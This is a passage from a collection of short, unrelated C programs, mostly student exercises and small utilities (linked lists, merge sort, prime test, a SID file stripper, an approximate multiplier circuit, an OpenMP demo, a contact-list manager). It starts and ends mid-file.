}
else
{
struct node *posi=pos(p-1);
temp->rlink=posi->rlink;
temp->llink=posi;
posi->rlink=temp;
if(p!=l+1)
{
posi=temp->rlink;
posi->llink=temp;
}
}
++l;
}
}
void del(int p)
{
if(p<1 || p>l)
printf("INVALID POSITION");
else
{
struct node *posi=pos(p);
if(p==1)
{
root=root->rlink;
free(posi);
}
else
{
struct node *posi1=pos(p-1);
if(p==l)
posi1->rlink=NULL;
else
{
struct node *posi2=pos(p+1);
posi2->llink=posi1;
posi1->rlink=posi->rlink;
}free(posi);
}
--l;
}
}
void traverse()
{
if(root==NULL)
printf("NO DATA\n");
else
{
struct node * temp=root;
do
{
printf("%d\n",temp->data);
temp=temp->rlink;
}while(temp!=NULL);
}
}
int main()
{
while(1)
{
int op,p1,p;
printf("OPERATIONS ON DOUBLE LINKED LIST\n");
printf("1.INSERT\n2.DELETE\n3.TRAVERSE\n4.Length\n");
printf("SELECT AN OPERATION:");
scanf("%d",&op);
switch(op)
{
case 1:
printf("Enter Position:");
int p,k;
scanf("%d",&p);
printf("Enter Data:");
scanf("%d",&k);
ins(p,k);
break;
case 2:
printf("Enter Position");
scanf("%d",&p1);
del(p1);
break;
case 3:
traverse();
break;
case 4:
printf("Length=%d\n",l);
break;
case 5:
exit(0);
break;
default:printf("INVALID INPUT\n");
}
}
}
|
the_stack_data/82950509.c | #include <stdio.h>
void prime(int n, int c)
{
if(n == c)
{
printf("Primo\n");
return;
}
if(n % c == 0)
{
printf("Não primo\n");
return;
}
else
{
return (prime(n, c+1));
}
}
int main()
{
int num;
printf("Número: ");
scanf("%d", &num);
num <= 1 ? printf("Não\n") : prime(num, 2);
return 0;
}
|
the_stack_data/119244.c | #include <stdio.h>
#include <math.h>
int main ()
{
int arr1[20], arr2[20], k=0, i, n;
while (scanf("%d", &n)==1)
{
if (n<0)
break;
k++;
for (i=0; i<12; i++)
scanf ("%d", &arr1[i]);
for (i=0; i<12; i++)
scanf ("%d", &arr2[i]);
printf ("Case %d:\n", k);
for (i=0; i<12; i++)
{
if (n>=arr2[i])
{
printf ("No problem! :D\n");
n=n-arr2[i]+arr1[i];
}
else
{
printf ("No problem. :(\n");
n=n+arr1[i];
}
}
}
return 0;
}
|
the_stack_data/490695.c | #include <stdio.h>
int main(void)
{
printf("Linux child TODO!\n");
return 0;
}
|
the_stack_data/242331492.c | /*------------------------------------------------------------------------------
* File Name: merge-sort.c
* Purpose: Merge sort with non-recursive
*
* Author: Ke Wang
*
* Created: 2019-11-14
* Copyright: (c) Ke Wang 2019
* Licence: <your licence>
*-----------------------------------------------------------------------------*/
#include <stdio.h>
#include <stdlib.h>
#define N 10
/* 相邻有序段合并
* a[] 待排序数组
* dest[] 保存合并后数据
* start 数组序列的起始序号
* end 第一个数组序列的结束序号
* n 有序列的长度
*/
void merge_step(int a[], int dest[], int start, int end, int n)
{
int i, j, k;
i = k = start;
j = end + 1;
while (i <= end && j <= n) { //当两个有序段都还有数据，没有结束时，循环比较
if (a[i] <= a[j]) //将较小的元素复制到dest数组中
dest[k++] = a[i++];
else
dest[k++] = a[j++];
}
while (i <= end) //将第一个未合并的部分复制到dest数组中
dest[k++] = a[i++];
while (j <= n) //将第二个未合并的部分复制到dest数组中
dest[k++] = a[j++];
}
/* 完成一次二路归并
* a[] 待排序数组
* dest[] 保存合并后数据
* n 待排序数组中进行排序的元素总数
* len 有序列表的长度
*/
void merge_pass(int a[], int dest[], int n, int len)
{
int start = 0, end; //start:第一个序列的起始序号,end:第一个序列的结束序号
while (start + len < n) {
end = start + 2 * len - 1;
if (end >= n) //若最后一个数据段少于len, 重新计算结束序号
end = n - 1;
merge_step(a, dest, start, start+len-1, end); //合并相邻有序段
start = end + 1; //重新计算下一对有序段中左段的开始序号
}
if (start < n) //若还剩下一个有序段，从a中复制到dest数组
for (; start < n; start++)
dest[start] = a[start];
}
/*
* 完成二路归并排序
* a[]: 待排序数组
* n: 待排序数组长度
*/
void merge_sort(int a[], int n)
{
int *temp; //排序额外使用的临时存储空间
int len = 1; //有序序列的长度
int flag = 0; //发生排序标志位
if (! (temp = (int*) malloc(sizeof(int) * n))) { //申请与数组a[]大小的存储空间
printf("Failed to assign memory!");
exit(0);
}
while (len < n) { //交替在a[],temp之间来回进行合并
if (flag)
merge_pass(temp, a, n, len); //把temp合并到a[]
else
merge_pass(a, temp, n, len); //把a[]合并到temp
len *= 2; //有序序列长度增加一倍
flag = 1 - flag; //使flag值在0和1之间进行切换
}
if (flag) //若进行了排序
for (flag = 0; flag < n; flag++) //将临时存储空间temp里的数据复制到数组a[]
a[flag] = temp[flag];
free(temp); //释放临时存储空间
}
int main()
{
// 非递归实现, 归并排序
int a[N] = {22,18,45,98,66,34,25,11,72,9};
printf("Original array: ");
for (int i = 0; i < N; i++)
printf("%d ", a[i]);
printf("\n");
merge_sort(a, N);
printf("Sorted array: ");
for (int i = 0; i < N; i++)
printf("%d ", a[i]);
return (0);
}
|
the_stack_data/211079969.c | #include <stdio.h>
int main() {
int a;
scanf("%d", &a);
if ( a % 2 != 0 ) {
printf("%d\n", a-1);
} else {
printf("%d\n", a);
}
return 0;
}
//Считать целое число. Вывести на экран максимальное четное число, не большее введенного. |
the_stack_data/97012076.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv) {
printf("SID stripper v0.0.1\n");
if (argc != 2) {
printf("Usage sidstrip <sidfilename>\n");
exit(0);
}
FILE *iptr;
int size;
iptr = fopen(argv[1],"rb");
if(iptr == NULL) {
printf("ERROR: Unable to open file: %s\n",argv[1]);
exit(1);
}
fseek(iptr, 0, SEEK_END);
size = ftell(iptr);
fseek(iptr, 0, SEEK_SET);
printf("Filesize: %i\n",size);
unsigned char *buffer = malloc(size);
if (buffer == NULL) {
printf("ERROR: Unable allocate memory.\n");
exit(5);
}
fread(buffer,size,1,iptr);
fclose(iptr);
char magicID[4];
short version=0;
short dataoffset=0;
short loadaddress=0;
short initaddress=0;
short playaddress=0;
short songs=0;
short startsong=0;
memcpy(magicID,buffer,4);
version = buffer[5] | buffer[4] <<8;
dataoffset = buffer[7] | buffer[6] <<8;
loadaddress = buffer[9] | buffer[8] <<8;
if ( loadaddress == 0 ) {
loadaddress = buffer[dataoffset] | buffer[dataoffset+1] <<8;;
}
initaddress = buffer[11] | buffer[10] <<8;
playaddress = buffer[13] | buffer[12] <<8;
songs = buffer[15] | buffer[14] <<8;
startsong = buffer[17] | buffer[16] <<8;
printf("magicID: %s\n",magicID);
printf("version: %04x\n",version);
printf("dataoffset: %04x\n",dataoffset);
printf("loadaddress: %04x\n",loadaddress);
printf("initaddress: %04x\n",initaddress);
printf("playaddress: %04x\n",playaddress);
printf("songs: %i\n",songs);
printf("startsong: %i\n",startsong);
int namesize = sizeof argv[1];
char filename[namesize];
strcpy(filename,argv[1]);
filename[namesize-2]='d';
filename[namesize-1]='a';
filename[namesize]='t';
// char *ext = strrchr(filename, '.');
FILE *optr;
optr = fopen(filename,"wb");
if(optr == NULL) {
printf("ERROR: Unable save file: %s\n",filename);
exit(1);
}
fwrite(buffer+dataoffset,size-dataoffset,1,optr);
fclose(optr);
printf("%s saved.\n",filename);
/*
for (int count = 0; count < 256; count ++) {
printf("%02x ",buffer[count]);
int temp = count % 15;
if ( temp == 14 ) {
printf("\n");
}
}
*/
if (buffer != NULL) {
free(buffer);
}
return 0;
}
|
the_stack_data/159516390.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993
* This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published.
***/
#include <stdint.h>
#include <stdlib.h>
/// Approximate function mul8_316
/// Library = EvoApprox8b
/// Circuit = mul8_316
/// Area (180) = 8716
/// Delay (180) = 5.340
/// Power (180) = 4409.30
/// Area (45) = 631
/// Delay (45) = 2.000
/// Power (45) = 382.70
/// Nodes = 132
/// HD = 60322
/// MAE = 4.50098
/// MSE = 80.69141
/// MRE = 0.17 %
/// WCE = 40
/// WCRE = 100 %
/// EP = 45.8 %
uint16_t mul8_316(uint8_t a, uint8_t b)
{
uint16_t c = 0;
uint8_t n0 = (a >> 0) & 0x1;
uint8_t n2 = (a >> 1) & 0x1;
uint8_t n4 = (a >> 2) & 0x1;
uint8_t n6 = (a >> 3) & 0x1;
uint8_t n8 = (a >> 4) & 0x1;
uint8_t n10 = (a >> 5) & 0x1;
uint8_t n12 = (a >> 6) & 0x1;
uint8_t n14 = (a >> 7) & 0x1;
uint8_t n16 = (b >> 0) & 0x1;
uint8_t n18 = (b >> 1) & 0x1;
uint8_t n20 = (b >> 2) & 0x1;
uint8_t n22 = (b >> 3) & 0x1;
uint8_t n24 = (b >> 4) & 0x1;
uint8_t n26 = (b >> 5) & 0x1;
uint8_t n28 = (b >> 6) & 0x1;
uint8_t n30 = (b >> 7) & 0x1;
uint8_t n32;
uint8_t n33;
uint8_t n34;
uint8_t n35;
uint8_t n36;
uint8_t n38;
uint8_t n42;
uint8_t n49;
uint8_t n54;
uint8_t n57;
uint8_t n59;
uint8_t n61;
uint8_t n65;
uint8_t n82;
uint8_t n98;
uint8_t n114;
uint8_t n132;
uint8_t n137;
uint8_t n148;
uint8_t n155;
uint8_t n164;
uint8_t n169;
uint8_t n182;
uint8_t n198;
uint8_t n214;
uint8_t n232;
uint8_t n248;
uint8_t n264;
uint8_t n282;
uint8_t n298;
uint8_t n299;
uint8_t n315;
uint8_t n332;
uint8_t n333;
uint8_t n348;
uint8_t n349;
uint8_t n364;
uint8_t n365;
uint8_t n382;
uint8_t n383;
uint8_t n398;
uint8_t n399;
uint8_t n414;
uint8_t n415;
uint8_t n432;
uint8_t n448;
uint8_t n464;
uint8_t n482;
uint8_t n498;
uint8_t n514;
uint8_t n532;
uint8_t n535;
uint8_t n548;
uint8_t n564;
uint8_t n582;
uint8_t n598;
uint8_t n614;
uint8_t n615;
uint8_t n632;
uint8_t n633;
uint8_t n648;
uint8_t n649;
uint8_t n664;
uint8_t n665;
uint8_t n682;
uint8_t n683;
uint8_t n698;
uint8_t n714;
uint8_t n732;
uint8_t n748;
uint8_t n764;
uint8_t n782;
uint8_t n798;
uint8_t n814;
uint8_t n832;
uint8_t n833;
uint8_t n848;
uint8_t n849;
uint8_t n864;
uint8_t n865;
uint8_t n882;
uint8_t n883;
uint8_t n898;
uint8_t n899;
uint8_t n914;
uint8_t n915;
uint8_t n932;
uint8_t n933;
uint8_t n948;
uint8_t n949;
uint8_t n964;
uint8_t n982;
uint8_t n998;
uint8_t n1014;
uint8_t n1032;
uint8_t n1048;
uint8_t n1064;
uint8_t n1082;
uint8_t n1098;
uint8_t n1099;
uint8_t n1114;
uint8_t n1115;
uint8_t n1132;
uint8_t n1133;
uint8_t n1148;
uint8_t n1149;
uint8_t n1164;
uint8_t n1165;
uint8_t n1182;
uint8_t n1183;
uint8_t n1198;
uint8_t n1199;
uint8_t n1214;
uint8_t n1215;
uint8_t n1232;
uint8_t n1248;
uint8_t n1264;
uint8_t n1282;
uint8_t n1298;
uint8_t n1314;
uint8_t n1332;
uint8_t n1348;
uint8_t n1364;
uint8_t n1365;
uint8_t n1382;
uint8_t n1383;
uint8_t n1398;
uint8_t n1399;
uint8_t n1414;
uint8_t n1415;
uint8_t n1432;
uint8_t n1433;
uint8_t n1448;
uint8_t n1449;
uint8_t n1464;
uint8_t n1465;
uint8_t n1482;
uint8_t n1483;
uint8_t n1498;
uint8_t n1514;
uint8_t n1532;
uint8_t n1548;
uint8_t n1564;
uint8_t n1582;
uint8_t n1598;
uint8_t n1614;
uint8_t n1632;
uint8_t n1633;
uint8_t n1648;
uint8_t n1649;
uint8_t n1664;
uint8_t n1665;
uint8_t n1682;
uint8_t n1683;
uint8_t n1698;
uint8_t n1699;
uint8_t n1714;
uint8_t n1715;
uint8_t n1732;
uint8_t n1733;
uint8_t n1748;
uint8_t n1749;
uint8_t n1764;
uint8_t n1782;
uint8_t n1798;
uint8_t n1814;
uint8_t n1832;
uint8_t n1848;
uint8_t n1864;
uint8_t n1882;
uint8_t n1898;
uint8_t n1899;
uint8_t n1914;
uint8_t n1915;
uint8_t n1932;
uint8_t n1933;
uint8_t n1948;
uint8_t n1949;
uint8_t n1964;
uint8_t n1965;
uint8_t n1982;
uint8_t n1983;
uint8_t n1998;
uint8_t n1999;
uint8_t n2014;
uint8_t n2015;
n32 = n0 & n16;
n33 = n0 & n16;
n34 = ~(n22 | n24 | n30);
n35 = ~(n22 | n24 | n30);
n36 = ~(n20 & n22 & n30);
n38 = ~(n18 | n28 | n22);
n42 = n14 & n32;
n49 = n2 & n16;
n54 = ~((n30 & n42) | n36);
n57 = ~((n18 & n38) | n35);
n59 = n18 & n34;
n61 = ~(n33 & n6 & n59);
n65 = n4 & n54;
n82 = n6 & n16;
n98 = n8 & n16;
n114 = n10 & n16;
n132 = n12 & n16;
n137 = n65;
n148 = n14 & n16;
n155 = ~(n57 | n32);
n164 = n0 & n18;
n169 = n49;
n182 = ~(n14 & n18 & n155);
n198 = n4 & n18;
n214 = n6 & n18;
n232 = n8 & n18;
n248 = n10 & n18;
n264 = n12 & n18;
n282 = n14 & n18;
n298 = n169 ^ n164;
n299 = n169 & n164;
n315 = (n137 & n182) | (n182 & n299) | (n137 & n299);
n332 = (n82 ^ n198) ^ n315;
n333 = (n82 & n198) | (n198 & n315) | (n82 & n315);
n348 = (n98 ^ n214) ^ n333;
n349 = (n98 & n214) | (n214 & n333) | (n98 & n333);
n364 = (n114 ^ n232) ^ n349;
n365 = (n114 & n232) | (n232 & n349) | (n114 & n349);
n382 = (n132 ^ n248) ^ n365;
n383 = (n132 & n248) | (n248 & n365) | (n132 & n365);
n398 = (n148 ^ n264) ^ n383;
n399 = (n148 & n264) | (n264 & n383) | (n148 & n383);
n414 = n399 ^ n282;
n415 = n399 & n282;
n432 = n0 & n20;
n448 = n2 & n20;
n464 = n4 & n20;
n482 = n6 & n20;
n498 = n8 & n20;
n514 = n10 & n20;
n532 = n12 & n20;
n535 = ~n399;
n548 = n14 & n20;
n564 = (n535 & n432) | (~n535 & n61);
n582 = n332 ^ n448;
n598 = n348 | n464;
n614 = n364 ^ n482;
n615 = n364 & n482;
n632 = (n382 ^ n498) ^ n615;
n633 = (n382 & n498) | (n498 & n615) | (n382 & n615);
n648 = (n398 ^ n514) ^ n633;
n649 = (n398 & n514) | (n514 & n633) | (n398 & n633);
n664 = (n414 ^ n532) ^ n649;
n665 = (n414 & n532) | (n532 & n649) | (n414 & n649);
n682 = (n415 ^ n548) ^ n665;
n683 = (n415 & n548) | (n548 & n665) | (n415 & n665);
n698 = n0 & n22;
n714 = n2 & n22;
n732 = n4 & n22;
n748 = n6 & n22;
n764 = n8 & n22;
n782 = n10 & n22;
n798 = n12 & n22;
n814 = n14 & n22;
n832 = n582 ^ n698;
n833 = n582 & n698;
n848 = (n598 ^ n714) ^ n833;
n849 = (n598 & n714) | (n714 & n833) | (n598 & n833);
n864 = (n614 ^ n732) ^ n849;
n865 = (n614 & n732) | (n732 & n849) | (n614 & n849);
n882 = (n632 ^ n748) ^ n865;
n883 = (n632 & n748) | (n748 & n865) | (n632 & n865);
n898 = (n648 ^ n764) ^ n883;
n899 = (n648 & n764) | (n764 & n883) | (n648 & n883);
n914 = (n664 ^ n782) ^ n899;
n915 = (n664 & n782) | (n782 & n899) | (n664 & n899);
n932 = (n682 ^ n798) ^ n915;
n933 = (n682 & n798) | (n798 & n915) | (n682 & n915);
n948 = (n683 ^ n814) ^ n933;
n949 = (n683 & n814) | (n814 & n933) | (n683 & n933);
n964 = n0 & n24;
n982 = n2 & n24;
n998 = n4 & n24;
n1014 = n6 & n24;
n1032 = n8 & n24;
n1048 = n10 & n24;
n1064 = n12 & n24;
n1082 = n14 & n24;
n1098 = n848 ^ n964;
n1099 = n848 & n964;
n1114 = (n864 ^ n982) ^ n1099;
n1115 = (n864 & n982) | (n982 & n1099) | (n864 & n1099);
n1132 = (n882 ^ n998) ^ n1115;
n1133 = (n882 & n998) | (n998 & n1115) | (n882 & n1115);
n1148 = (n898 ^ n1014) ^ n1133;
n1149 = (n898 & n1014) | (n1014 & n1133) | (n898 & n1133);
n1164 = (n914 ^ n1032) ^ n1149;
n1165 = (n914 & n1032) | (n1032 & n1149) | (n914 & n1149);
n1182 = (n932 ^ n1048) ^ n1165;
n1183 = (n932 & n1048) | (n1048 & n1165) | (n932 & n1165);
n1198 = (n948 ^ n1064) ^ n1183;
n1199 = (n948 & n1064) | (n1064 & n1183) | (n948 & n1183);
n1214 = (n949 ^ n1082) ^ n1199;
n1215 = (n949 & n1082) | (n1082 & n1199) | (n949 & n1199);
n1232 = n0 & n26;
n1248 = n2 & n26;
n1264 = n4 & n26;
n1282 = n6 & n26;
n1298 = n8 & n26;
n1314 = n10 & n26;
n1332 = n12 & n26;
n1348 = n14 & n26;
n1364 = n1114 ^ n1232;
n1365 = n1114 & n1232;
n1382 = (n1132 ^ n1248) ^ n1365;
n1383 = (n1132 & n1248) | (n1248 & n1365) | (n1132 & n1365);
n1398 = (n1148 ^ n1264) ^ n1383;
n1399 = (n1148 & n1264) | (n1264 & n1383) | (n1148 & n1383);
n1414 = (n1164 ^ n1282) ^ n1399;
n1415 = (n1164 & n1282) | (n1282 & n1399) | (n1164 & n1399);
n1432 = (n1182 ^ n1298) ^ n1415;
n1433 = (n1182 & n1298) | (n1298 & n1415) | (n1182 & n1415);
n1448 = (n1198 ^ n1314) ^ n1433;
n1449 = (n1198 & n1314) | (n1314 & n1433) | (n1198 & n1433);
n1464 = (n1214 ^ n1332) ^ n1449;
n1465 = (n1214 & n1332) | (n1332 & n1449) | (n1214 & n1449);
n1482 = (n1215 ^ n1348) ^ n1465;
n1483 = (n1215 & n1348) | (n1348 & n1465) | (n1215 & n1465);
n1498 = n0 & n28;
n1514 = n2 & n28;
n1532 = n4 & n28;
n1548 = n6 & n28;
n1564 = n8 & n28;
n1582 = n10 & n28;
n1598 = n12 & n28;
n1614 = n14 & n28;
n1632 = n1382 ^ n1498;
n1633 = n1382 & n1498;
n1648 = (n1398 ^ n1514) ^ n1633;
n1649 = (n1398 & n1514) | (n1514 & n1633) | (n1398 & n1633);
n1664 = (n1414 ^ n1532) ^ n1649;
n1665 = (n1414 & n1532) | (n1532 & n1649) | (n1414 & n1649);
n1682 = (n1432 ^ n1548) ^ n1665;
n1683 = (n1432 & n1548) | (n1548 & n1665) | (n1432 & n1665);
n1698 = (n1448 ^ n1564) ^ n1683;
n1699 = (n1448 & n1564) | (n1564 & n1683) | (n1448 & n1683);
n1714 = (n1464 ^ n1582) ^ n1699;
n1715 = (n1464 & n1582) | (n1582 & n1699) | (n1464 & n1699);
n1732 = (n1482 ^ n1598) ^ n1715;
n1733 = (n1482 & n1598) | (n1598 & n1715) | (n1482 & n1715);
n1748 = (n1483 ^ n1614) ^ n1733;
n1749 = (n1483 & n1614) | (n1614 & n1733) | (n1483 & n1733);
n1764 = n0 & n30;
n1782 = n2 & n30;
n1798 = n4 & n30;
n1814 = n6 & n30;
n1832 = n8 & n30;
n1848 = n10 & n30;
n1864 = n12 & n30;
n1882 = n14 & n30;
n1898 = n1648 ^ n1764;
n1899 = n1648 & n1764;
n1914 = (n1664 ^ n1782) ^ n1899;
n1915 = (n1664 & n1782) | (n1782 & n1899) | (n1664 & n1899);
n1932 = (n1682 ^ n1798) ^ n1915;
n1933 = (n1682 & n1798) | (n1798 & n1915) | (n1682 & n1915);
n1948 = (n1698 ^ n1814) ^ n1933;
n1949 = (n1698 & n1814) | (n1814 & n1933) | (n1698 & n1933);
n1964 = (n1714 ^ n1832) ^ n1949;
n1965 = (n1714 & n1832) | (n1832 & n1949) | (n1714 & n1949);
n1982 = (n1732 ^ n1848) ^ n1965;
n1983 = (n1732 & n1848) | (n1848 & n1965) | (n1732 & n1965);
n1998 = (n1748 ^ n1864) ^ n1983;
n1999 = (n1748 & n1864) | (n1864 & n1983) | (n1748 & n1983);
n2014 = (n1749 ^ n1882) ^ n1999;
n2015 = (n1749 & n1882) | (n1882 & n1999) | (n1749 & n1999);
c |= (n32 & 0x1) << 0;
c |= (n298 & 0x1) << 1;
c |= (n564 & 0x1) << 2;
c |= (n832 & 0x1) << 3;
c |= (n1098 & 0x1) << 4;
c |= (n1364 & 0x1) << 5;
c |= (n1632 & 0x1) << 6;
c |= (n1898 & 0x1) << 7;
c |= (n1914 & 0x1) << 8;
c |= (n1932 & 0x1) << 9;
c |= (n1948 & 0x1) << 10;
c |= (n1964 & 0x1) << 11;
c |= (n1982 & 0x1) << 12;
c |= (n1998 & 0x1) << 13;
c |= (n2014 & 0x1) << 14;
c |= (n2015 & 0x1) << 15;
return c;
}
|
the_stack_data/43888303.c | /* PR c/8086 */
#define P(x) \
(((((((((((((((((((((((((((((((( \
(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a) \
*(x)+a)
int
polynomial(int a)
{
return P(3);
}
|
the_stack_data/72012479.c | #include <stdio.h>
#include <stdlib.h>
#ifdef _OPENMP
#include <omp.h>
#else
#define omp_get_thread_num() 0
#endif
int main(int argc, char **argv) {
int i, n = 7,chunk, a[n],suma=0;
if(argc < 2) {
fprintf(stderr,"\nFalta chunk \n");
exit(-1);
}
chunk = atoi(argv[1]);
for (i=0; i<n; i++) a[i] = i;
#pragma omp parallel for firstprivate(suma) \
lastprivate(suma) schedule(static,chunk)
for (i=0; i<n; i++)
{ suma = suma + a[i];
printf(" thread %d suma a[%d] suma=%d \n",
omp_get_thread_num(),i,suma);
}
printf("Fuera de 'parallel for' suma=%d\n",suma);
return(0);
}
|
the_stack_data/154213.c | typedef struct
{
char x;
} T;
T
f (s1)
T s1;
{
T s1a;
s1a.x = s1.x;
return s1a;
}
main ()
{
T s1a, s1b;
s1a.x = 100;
s1b = f (s1a);
if (s1b.x != 100)
abort ();
exit (0);
}
|
the_stack_data/42566.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>
typedef char texto_t[80];
typedef struct contato_t contato;
struct contato_t{
texto_t inf[5];
contato *proximo;
};
typedef struct lista_encadeada_t{
contato *primeiro;
}lista_encadeada;
contato* criar_contato(){
contato *cont = (contato*)malloc(sizeof(contato));
cont->proximo = NULL;
return cont;
}
lista_encadeada* criar_lista_encadeada(){
lista_encadeada *lista = (lista_encadeada*)malloc(sizeof(lista_encadeada));
lista->primeiro = NULL;
return lista;
}
// inserir sempre no final
void inserir_contato(lista_encadeada *lista, contato *novo){
if (lista->primeiro == NULL)
lista->primeiro = novo;
else{
contato *aux = lista->primeiro;
while(aux->proximo != NULL)
aux = aux->proximo;
aux->proximo = novo;
}
}
void carregar_lista_encadeada(lista_encadeada *lista){
FILE *arq;
contato *aux;
int n_cont;
arq = fopen("contatos.dat", "r");
n_cont = fgetc(arq) - '0';
fgetc(arq);
while (n_cont--){
aux = criar_contato();
for (int j = 0; j < 5; j++){
for (int k = 0; aux->inf[j][k] = fgetc(arq); k++)
if (aux->inf[j][k] == ';')
break;
if (j == 4)
fgetc(arq);
}
inserir_contato(lista, aux);
}
fclose(arq);
}
// NULL: se o contato não existe na lista
// !NULL: contato existe na lista
contato* pesquisar_contato(lista_encadeada *lista, char *cont){
contato *aux = lista->primeiro;
while (aux != NULL){
if (strstr(aux->inf[0], cont) != NULL)
return aux;
aux = aux->proximo;
}
return NULL;
}
// 1: se foi excluído com sucesso
// 0: se contato não existe na lista
int excluir_contato(lista_encadeada *lista, char *cont){
contato *aux;
if (strstr(lista->primeiro->inf[0], cont) != NULL){
lista->primeiro = lista->primeiro->proximo;
return 1;
}
aux = lista->primeiro;
while (aux != NULL){
if (strstr(aux->proximo->inf[0], cont) != NULL){
aux->proximo = aux->proximo->proximo;
return 1;
}
aux = aux->proximo;
}
return 0;
}
void verificar_existencia(){
FILE *arq = fopen("contatos.dat", "r");
if (arq == NULL){
arq = fopen("contatos.dat", "a");
fprintf(arq, "0\n");
fclose(arq);
}
}
int tamanho_lista(lista_encadeada *lista){
int cont = 0;
contato *aux = lista->primeiro;
while(aux != NULL){
aux = aux->proximo;
cont++;
}
return cont;
}
void escrever_lista(lista_encadeada *lista, int n_cont){
FILE *arq;
contato *aux;
arq = fopen("contatos.dat", "w");
fprintf(arq, "%d\n", n_cont);
aux = lista->primeiro;
for (int i = 0; i < n_cont; i++){
for (int j = 0; j < 5; j++){
for (int k = 0; k < strlen(aux->inf[j]); k++){
fputc(aux->inf[j][k], arq);
if (aux->inf[j][k] == ';')
break;
}
}
fputc('\n', arq);
aux = aux->proximo;
}
fclose(arq);
}
int menu_alterar(contato *cont){
while(1){
int opcao;
printf("=========================== Alterar ============================\n");
printf("= (1) Nome\t\t\t");
printf("(2) Endereço =\n");
printf("= (3) Telefone Residencial\t");
printf("(4) Telefone Celular =\n");
printf("= (5) Data de nascimento\t");
printf("(6) Voltar =\n");
printf("================================================================\n");
scanf("%d", &opcao);
getchar();
switch(opcao){
case 1: printf("Nome do contato: ");fgets(cont->inf[0], sizeof(cont->inf[0]), stdin); cont->inf[0][strlen(cont->inf[0])-1] = cont->inf[0][strlen(cont->inf[0])]; cont->inf[0][strlen(cont->inf[0])] = ';'; break;
case 2: printf("Novo endereço: ");fgets(cont->inf[1], sizeof(cont->inf[1]), stdin); cont->inf[1][strlen(cont->inf[1])-1] = cont->inf[1][strlen(cont->inf[1])]; cont->inf[1][strlen(cont->inf[1])] = ';'; break;
case 3: printf("Novo telefone Residencial: ");fgets(cont->inf[2], sizeof(cont->inf[2]), stdin); cont->inf[2][strlen(cont->inf[2])-1] = cont->inf[2][strlen(cont->inf[2])]; cont->inf[2][strlen(cont->inf[2])] = ';'; break;
case 4: printf("Novo telefone Celular: ");fgets(cont->inf[3], sizeof(cont->inf[3]), stdin); cont->inf[3][strlen(cont->inf[3])-1] = cont->inf[3][strlen(cont->inf[3])]; cont->inf[3][strlen(cont->inf[3])] = ';'; break;
case 5: printf("Novo telefone Celular: ");fgets(cont->inf[4], sizeof(cont->inf[4]), stdin); cont->inf[4][strlen(cont->inf[4])-1] = cont->inf[4][strlen(cont->inf[4])]; cont->inf[4][strlen(cont->inf[4])] = ';'; break;
case 6: return 0;
default: printf("Opção Inválida (Pressione ENTER)"); getchar();
}
}
}
void alterar_contato(lista_encadeada *lista){
contato *contato_alterado;
char *nome_cont;
int n_cont;
nome_cont = (char*)malloc(sizeof(80 * sizeof(char)));
printf("Nome do contato: ");
fgets(nome_cont, sizeof(nome_cont), stdin);
nome_cont[strlen(nome_cont)-1] = nome_cont[strlen(nome_cont)];
contato_alterado = pesquisar_contato(lista, nome_cont);
menu_alterar(contato_alterado);
escrever_lista(lista, tamanho_lista(lista));
}
void escrever_contato(contato *cont){
for (int j = 0; j < 5; j++){
for (int k = 0; k < 80; k++){
if (cont->inf[j][k] == ';'){
putchar('\n');
break;
}
printf("%c", cont->inf[j][k]);
}
}
}
void listar_contatos(lista_encadeada *lista, int n_cont){
contato *aux = lista->primeiro;
while (n_cont--){
escrever_contato(aux);
aux = aux->proximo;
}
}
void pesquisar(lista_encadeada *lista){
char *nome_cont;
nome_cont = (char*)malloc(sizeof(80 * sizeof(char)));
printf("Nome do contato: ");
fgets(nome_cont, sizeof(nome_cont), stdin);
nome_cont[strlen(nome_cont)-1] = nome_cont[strlen(nome_cont)];
escrever_contato(pesquisar_contato(lista, nome_cont));
}
void excluir(lista_encadeada *lista){
char *nome_cont;
nome_cont = (char*)malloc(sizeof(80 * sizeof(char)));
printf("Nome do contato: ");
fgets(nome_cont, sizeof(nome_cont), stdin);
nome_cont[strlen(nome_cont)-1] = nome_cont[strlen(nome_cont)];
excluir_contato(lista, nome_cont);
escrever_lista(lista, tamanho_lista(lista));
}
void adicionar_contato(lista_encadeada *lista){
contato *novo_contato;
novo_contato = criar_contato();
printf("Nome do contato: ");
fgets(novo_contato->inf[0], sizeof(novo_contato->inf[0]), stdin);
novo_contato->inf[0][strlen(novo_contato->inf[0])-1] = novo_contato->inf[0][strlen(novo_contato->inf[0])];
novo_contato->inf[0][strlen(novo_contato->inf[0])] = ';';
printf("Endereço do contato: ");
fgets(novo_contato->inf[1], sizeof(novo_contato->inf[1]), stdin);
novo_contato->inf[1][strlen(novo_contato->inf[1])-1] = novo_contato->inf[0][strlen(novo_contato->inf[1])];
novo_contato->inf[1][strlen(novo_contato->inf[1])] = ';';
printf("Telefone Residencial: ");
fgets(novo_contato->inf[2], sizeof(novo_contato->inf[2]), stdin);
novo_contato->inf[2][strlen(novo_contato->inf[2])-1] = novo_contato->inf[2][strlen(novo_contato->inf[2])];
novo_contato->inf[2][strlen(novo_contato->inf[2])] = ';';
printf("Telefone Celular: ");
fgets(novo_contato->inf[3], sizeof(novo_contato->inf[3]), stdin);
novo_contato->inf[3][strlen(novo_contato->inf[3])-1] = novo_contato->inf[3][strlen(novo_contato->inf[3])];
novo_contato->inf[3][strlen(novo_contato->inf[3])] = ';';
printf("Data de nascimento: ");
